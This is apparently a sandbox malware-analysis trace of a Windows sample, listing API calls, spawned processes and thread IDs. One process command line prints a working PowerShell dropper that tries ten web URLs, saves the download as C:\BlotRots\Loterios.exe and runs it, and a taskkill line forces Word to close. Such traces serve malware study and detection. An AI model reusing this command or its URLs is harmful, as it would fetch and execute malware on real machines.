RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946cb0) returned 1 [0244.157] GetProcessHeap () returned 0x20b0f920000 [0244.157] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92c380) returned 1 [0244.157] GetProcessHeap () returned 0x20b0f920000 [0244.157] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946870) returned 1 [0244.157] ??_V@YAXPEAX@Z () returned 0x1 [0244.159] GetProcessHeap () returned 0x20b0f920000 [0244.159] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947e90) returned 1 [0244.159] GetProcessHeap () returned 0x20b0f920000 [0244.159] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0244.160] GetProcessHeap () returned 0x20b0f920000 [0244.160] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a2d0) returned 1 [0244.160] GetProcessHeap () returned 0x20b0f920000 [0244.160] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d1b0) returned 1 [0244.160] GetProcessHeap () returned 0x20b0f920000 [0244.160] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cdf0) returned 1 [0244.160] GetProcessHeap () returned 0x20b0f920000 [0244.161] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d670) returned 1 [0244.161] GetProcessHeap () returned 0x20b0f920000 [0244.161] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0244.161] ??_V@YAXPEAX@Z () returned 0x1 [0244.163] ??_V@YAXPEAX@Z () returned 0x1 [0244.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0244.245] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0244.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0244.415] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0244.587] _get_osfhandle (_FileHandle=1) returned 0x50 [0244.587] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0244.728] _get_osfhandle (_FileHandle=0) returned 0x4c [0244.728] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0244.904] _get_osfhandle (_FileHandle=0) returned 0x4c [0244.904] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0244.993] SetConsoleInputExeNameW () returned 0x1 [0244.993] GetConsoleOutputCP () returned 0x1b5 [0245.073] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0245.073] SetThreadUILanguage (LangId=0x0) returned 0x409 [0245.077] ??_V@YAXPEAX@Z () returned 0x1 [0245.095] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0245.095] GetLastError () returned 0x2 [0245.095] _get_osfhandle (_FileHandle=2) returned 0x54 [0245.095] GetFileType (hFile=0x54) returned 0x2 [0245.095] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0245.095] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fed38 | out: lpMode=0x9cb92fed38) returned 1 [0245.111] _get_osfhandle (_FileHandle=2) returned 0x54 [0245.111] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fed70 | out: lpConsoleScreenBufferInfo=0x9cb92fed70) returned 1 [0245.111] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0245.112] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fee10 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0245.112] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0x9cb92fed60, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fed60*=0x21) returned 1 [0245.120] CmdBatNotificationStub () returned 0x0 [0245.120] ??_V@YAXPEAX@Z () returned 0x1 [0245.120] ??_V@YAXPEAX@Z () returned 0x1 [0245.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0245.121] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0245.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0245.121] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0245.121] _get_osfhandle (_FileHandle=0) returned 0x4c [0245.121] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0245.122] SetConsoleInputExeNameW () returned 0x1 [0245.122] GetConsoleOutputCP () returned 0x1b5 [0245.122] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0245.122] SetThreadUILanguage (LangId=0x0) returned 0x409 [0245.122] exit (_Code=1) Thread: id = 157 os_tid = 0x1168 Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1879f000" os_pid = "0x1148" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x13f0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 152 os_tid = 0x1294 Thread: id = 153 os_tid = 0x50c Thread: id = 154 os_tid = 0x13b8 Thread: id = 155 os_tid = 0x13c4 Thread: id = 156 os_tid = 0x1164 Process: id = "11" image_name = "taskkill.exe" filename = "c:\\windows\\system32\\taskkill.exe" page_root = "0x3329c000" os_pid = "0x1320" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x13f0" cmd_line = "Taskkill /IM \"winword.exe\" /F" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 158 os_tid = 0x1208 Thread: id = 159 os_tid = 0x11b8 Thread: id = 160 os_tid = 0xf9c Thread: id = 161 os_tid = 0x11d8 Thread: id = 162 os_tid = 0x9fc Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4f383000" os_pid = "0x3ac" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009fdd" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 163 os_tid = 0xf38 Thread: id = 164 os_tid = 0xe1c Thread: id = 165 os_tid = 0xe14 Thread: id = 166 os_tid = 0xe18 Thread: id = 167 os_tid = 0x11a0 Thread: id = 168 os_tid = 0x1070 Thread: id = 169 os_tid = 0x560 Thread: id = 170 os_tid = 0xe60 Thread: id = 171 os_tid = 0xbf0 Thread: id = 172 os_tid = 0xb90 Thread: id = 173 os_tid = 0x13a8 Thread: id = 174 os_tid = 0xd48 Thread: id = 175 os_tid = 0x128c Thread: id = 176 os_tid = 0x1260 Thread: id = 177 os_tid = 0x1184 Thread: id = 178 os_tid = 0x1340 Thread: id = 179 os_tid = 0x12fc Thread: id = 180 os_tid = 0x12f0 Thread: id = 181 os_tid = 0x12ec Thread: id = 182 os_tid = 0x12e8 Thread: id = 183 os_tid = 0x12e4 Thread: id = 184 os_tid = 0x12e0 Thread: id = 185 os_tid = 0x12b4 Thread: id = 186 os_tid = 0x12ac Thread: id = 187 os_tid = 0x12a4 Thread: id = 188 os_tid = 0x1290 Thread: id = 189 os_tid = 0x1278 Thread: id = 190 os_tid = 0x11fc Thread: id = 191 os_tid = 0x1114 Thread: id = 192 os_tid = 0x1110 Thread: id = 193 os_tid = 0x110c Thread: id = 194 os_tid = 0x10ac Thread: id = 195 os_tid = 0x10a8 Thread: id = 196 os_tid = 0x10a4 Thread: id = 197 os_tid = 0x109c Thread: id = 198 os_tid = 0x106c Thread: id = 199 os_tid = 0x1068 Thread: id = 200 os_tid = 0x1060 Thread: id = 201 os_tid = 0x1050 Thread: id = 202 os_tid = 0x1040 Thread: id = 203 os_tid = 0x102c Thread: id = 204 os_tid = 0xef0 Thread: id = 205 os_tid = 0xeec Thread: id = 206 os_tid = 0xa3c Thread: id = 207 os_tid = 0xa1c Thread: id = 208 os_tid = 0xa18 Thread: id = 209 os_tid = 0xa14 Thread: id = 210 os_tid = 0xa0c Thread: id = 211 os_tid = 0x9dc Thread: id = 212 os_tid = 0x9d0 Thread: id = 213 os_tid = 0x9c8 Thread: id = 214 os_tid = 0x9c0 Thread: id = 215 os_tid = 0x9b8 Thread: id = 216 os_tid = 0x9b4 Thread: id = 217 os_tid = 0x9a4 Thread: id = 218 os_tid = 0x99c Thread: id = 219 os_tid = 0x990 Thread: id = 220 os_tid = 0x98c Thread: id = 221 os_tid = 0x984 Thread: id = 222 os_tid = 0x974 Thread: id = 223 os_tid = 0x970 Thread: id = 224 os_tid = 0x968 Thread: id = 225 os_tid = 0x928 Thread: id = 226 os_tid = 0x89c Thread: id = 227 os_tid = 0x84c Thread: id = 228 os_tid = 0x404 Thread: id = 229 os_tid = 0x7ac Thread: id = 230 os_tid = 0x7a0 Thread: id = 231 os_tid = 0x79c Thread: id = 232 os_tid = 0x790 Thread: id = 233 os_tid = 0x768 Thread: id = 234 os_tid = 0x6e8 Thread: id = 235 os_tid = 0x668 Thread: id = 236 os_tid = 0x664 Thread: id = 237 os_tid = 0x65c Thread: id = 238 os_tid = 0x650 Thread: id = 239 os_tid = 0x5b0 Thread: id = 240 os_tid = 0x544 Thread: id = 241 os_tid = 0x458 Thread: id = 242 os_tid = 0x420 Thread: id = 243 os_tid = 0x414 Thread: id = 244 os_tid = 0x410 Thread: id = 245 os_tid = 0x408 Thread: id = 246 os_tid = 0x8 Thread: id = 247 os_tid = 0x158 Thread: id = 248 os_tid = 0x150 Thread: id = 249 os_tid = 0x348 Thread: id = 250 os_tid = 0x12c Thread: id = 251 os_tid = 0x318 Thread: id = 252 os_tid = 0x2f0 Thread: id = 253 os_tid = 0x184 Thread: id = 254 os_tid = 0x26c Thread: id = 255 os_tid = 0x3b0 Thread: id = 331 os_tid = 0x1134 Thread: id = 332 os_tid = 0xb44 Thread: id = 333 os_tid = 0xf2c Thread: id = 334 os_tid = 0x758 Thread: id = 340 os_tid = 0x13f4 Thread: id = 341 os_tid = 0xec8 Thread: id = 342 os_tid = 0xaf8 Thread: id = 343 os_tid = 0x133c Thread: id = 344 os_tid = 0xed0 Thread: id = 345 os_tid = 0xfac Thread: id = 346 os_tid = 0xdbc Thread: id = 347 os_tid = 0x1fc Thread: id = 348 os_tid = 0x524 Thread: id = 349 os_tid = 0x880 Process: id = "13" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x5ce6e000" os_pid = "0x119c" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x3ac" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009fdd" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 256 os_tid = 0x10b0 Thread: id = 257 os_tid = 0x1234 Thread: id = 258 os_tid = 0x1244 Thread: id = 259 os_tid = 0x134c Thread: id = 267 os_tid = 0xb08 Thread: id = 268 os_tid = 0xbb8 Process: id = "14" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0xaaa1000" os_pid = "0x1140" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000ac99e" [0xc000000f] Thread: id = 260 os_tid = 0xf68 Thread: id = 261 os_tid = 0x1220 Thread: id = 262 os_tid = 0x1230 Thread: id = 263 os_tid = 0x13b0 Thread: id = 264 os_tid = 0x13a4 Thread: id = 265 os_tid = 0xdec Thread: id = 266 os_tid = 0x12b8 Thread: id = 269 os_tid = 0x13cc Thread: id = 270 os_tid = 0xe74 Thread: id = 290 os_tid = 0x1100 Thread: id = 335 os_tid = 0xec Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4efed000" os_pid = "0x3e0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xa], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\RmSvc" [0xa], "NT SERVICE\\TimeBrokerSvc" [0xa], "NT SERVICE\\TimeBroker" [0xa], "NT SERVICE\\vmictimesync" [0xa], "S-1-5-80-1495648203-2503502111-1597754693-3445174711-1316708627" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a40c" [0xc000000f], "LOCAL" [0x7] Thread: id = 271 os_tid = 0xdb0 Thread: id = 272 os_tid = 0xe84 Thread: id = 273 os_tid = 0xfc4 Thread: id = 274 os_tid = 0x12f4 Thread: id = 275 os_tid = 0x1318 Thread: id = 276 os_tid = 0xecc Thread: id = 277 os_tid = 0xec4 Thread: id = 278 os_tid = 0x834 Thread: id = 279 os_tid = 0x5b4 Thread: id = 280 os_tid = 0x478 Thread: id = 281 os_tid = 0x418 Thread: id = 282 os_tid = 0x40c Thread: id = 283 os_tid = 0x36c Thread: id = 284 os_tid = 0x350 Thread: id = 285 os_tid = 0x334 Thread: id = 286 os_tid = 0x28c Thread: id = 287 os_tid = 0x19c Thread: id = 288 os_tid = 0x170 Thread: id = 289 os_tid = 0x3e4 Process: id = "16" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x847d000" os_pid = "0x1328" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x13f0" cmd_line = "POWerShell Foreach($url in @('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png')) { try{$path = 'C:\\BlotRots\\Loterios.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 291 os_tid = 0xd80 [0175.213] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0175.219] RoInitialize () returned 0x1 [0175.219] RoUninitialize () returned 0x0 [0175.470] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0175.470] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0176.251] SysStringByteLen (bstr="Foreach($url") returned 0x18 [0176.251] SysStringByteLen (bstr="Foreach($url") returned 0x18 [0176.251] SysStringByteLen (bstr="in") returned 0x4 [0176.251] SysStringByteLen (bstr="in") returned 0x4 [0176.251] SysStringByteLen (bstr="@('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png'))") returned 0x3b2 [0176.251] SysStringByteLen (bstr="@('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png'))") returned 0x3b2 [0176.251] SysStringByteLen (bstr="{") returned 0x2 [0176.251] SysStringByteLen (bstr="{") returned 0x2 [0176.251] SysStringByteLen (bstr="try{$path") returned 0x12 [0176.252] SysStringByteLen (bstr="try{$path") returned 0x12 [0176.252] SysStringByteLen (bstr="=") returned 0x2 [0176.252] SysStringByteLen (bstr="=") returned 0x2 [0176.252] SysStringByteLen (bstr="'C:\\BlotRots\\Loterios.exe';") returned 0x36 [0176.252] SysStringByteLen (bstr="'C:\\BlotRots\\Loterios.exe';") returned 0x36 [0176.252] SysStringByteLen (bstr="(New-Object") returned 0x16 [0176.252] SysStringByteLen (bstr="(New-Object") returned 0x16 [0176.252] SysStringByteLen (bstr="Net.WebClient).DownloadFile($url.ToString(),") returned 0x58 [0176.252] SysStringByteLen (bstr="Net.WebClient).DownloadFile($url.ToString(),") returned 0x58 [0176.252] SysStringByteLen (bstr="$path);saps") returned 0x16 [0176.252] SysStringByteLen (bstr="$path);saps") returned 0x16 [0176.252] SysStringByteLen (bstr="$path;") returned 0xc [0176.252] SysStringByteLen (bstr="$path;") returned 0xc [0176.252] SysStringByteLen (bstr="break;}catch{write-host") returned 0x2e [0176.252] SysStringByteLen (bstr="break;}catch{write-host") returned 0x2e [0176.252] SysStringByteLen (bstr="$_.Exception.Message}}") returned 0x2c [0176.252] SysStringByteLen (bstr="$_.Exception.Message}}") returned 0x2c [0176.699] WindowsCreateStringReference () returned 0x0 [0176.699] RoGetActivationFactory () returned 0x0 [0176.709] QueryInterface () returned 0x0 [0176.709] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0176.710] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0176.710] QueryInterface () returned 0x0 [0176.710] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0176.710] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0176.710] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0176.710] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0176.710] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0176.710] Release () returned 0x4 [0176.711] CoGetContextToken (in: pToken=0x5bfdabb8a0 | out: pToken=0x5bfdabb8a0) returned 0x0 [0176.711] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0176.712] CoGetContextToken (in: pToken=0x5bfdabbaf0 | out: pToken=0x5bfdabbaf0) returned 0x0 [0176.712] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0176.712] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0176.712] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0176.712] WindowsDeleteString () returned 0x0 [0176.712] Release () returned 0x2 [0176.712] CoGetContextToken (in: pToken=0x5bfdabc510 | out: pToken=0x5bfdabc510) returned 0x0 [0176.712] CoGetContextToken (in: pToken=0x5bfdabc410 | out: pToken=0x5bfdabc410) returned 0x0 [0176.713] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0176.713] AddRef () returned 0x4 [0176.713] Release () returned 0x3 [0176.723] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0176.826] GenericStreamBase::Write () returned 0x0 [0176.826] GenericStreamBase::Write () returned 0x0 [0176.826] CoCreateGuid (in: pguid=0x7ff9c8c8a5f0 | out: pguid=0x7ff9c8c8a5f0*(Data1=0xec9735e8, Data2=0x4699, Data3=0x4804, Data4=([0]=0xba, [1]=0xca, [2]=0x28, [3]=0x57, [4]=0xde, [5]=0x84, [6]=0x8b, [7]=0x5b))) returned 0x0 [0176.827] GenericStreamBase::Write () returned 0x0 [0176.828] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0176.828] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0176.828] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0176.828] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0176.828] Release () returned 0x3 [0176.829] CoGetContextToken (in: pToken=0x5bfdabb660 | out: pToken=0x5bfdabb660) returned 0x0 [0176.829] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0176.835] WindowsCreateString () returned 0x0 [0176.835] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0176.835] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0176.836] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0176.859] EtwEventRegister () returned 0x0 [0176.863] EtwEventSetInformation () returned 0x0 [0176.865] EtwEventRegister () returned 0x0 [0176.865] EtwEventSetInformation () returned 0x0 [0176.903] EtwEventActivityIdControl () returned 0x0 [0176.908] EtwEventActivityIdControl () returned 0x0 [0176.909] EtwEventActivityIdControl () returned 0x0 [0176.914] EtwEventActivityIdControl () returned 0x0 [0176.920] 